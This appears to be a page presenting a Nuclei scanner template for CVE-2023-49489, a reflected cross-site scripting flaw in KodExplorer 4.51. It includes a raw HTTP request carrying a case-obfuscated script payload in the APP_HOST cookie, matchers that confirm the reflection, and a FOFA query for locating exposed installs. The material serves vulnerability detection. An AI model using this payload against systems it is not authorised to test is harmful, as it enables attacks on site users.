KodeExplorer 4.51 - Reflective Cross Site Scripting (XSS)

ID: CVE-2023-49489

Severity: medium

Author: DhiyaneshDk

Tags: cve,cve2024,kodexplorer,xss

Description

Reflective Cross Site Scripting (XSS) vulnerability in KodExplorer version 4.51, allows attackers to obtain sensitive information and escalate privileges via the APP_HOST parameter at config/i18n/en/main.php.

YAML Source

id: CVE-2023-49489

info:
  name: KodeExplorer 4.51 - Reflective Cross Site Scripting (XSS)
  author: DhiyaneshDk
  severity: medium
  description: |
    Reflective Cross Site Scripting (XSS) vulnerability in KodExplorer version 4.51, allows attackers to obtain sensitive information and escalate privileges via the APP_HOST parameter at config/i18n/en/main.php.
  reference:
    - https://github.com/kalcaddle/KodExplorer/issues/526
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-49489
    cwe-id: CWE-79
    epss-score: 0.00179
    epss-percentile: 0.37213
    cpe: cpe:2.3:a:kodcloud:kodexplorer:4.51:*:*:*:*:*:*:*
  metadata:
    vendor: kodcloud
    product: kodexplorer
    fofa-query: app="powered-by-kodexplorer"
  tags: cve,cve2024,kodexplorer,xss

http:
  - raw:
      - |
        GET /index.php?user/login HTTP/1.1
        Host: {{Hostname}}
        Cookie: APP_HOST={{RootURL}}/"><ScRiPt%20>alert(document.domain)</ScRiPt>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<ScRiPt >alert(document.domain)</ScRiPt>"
          - "KodExplorer"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
# digest: 4b0a00483046022100b32b8f021a9dbdaa4917d5feb132c5458d6761cfbd3616cf2a9f15ed2a062ae8022100d215fdf16b6b6aa5409f4e07e26285781a7f7079a4be64676cd2f317838dc27b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-49489.yaml"

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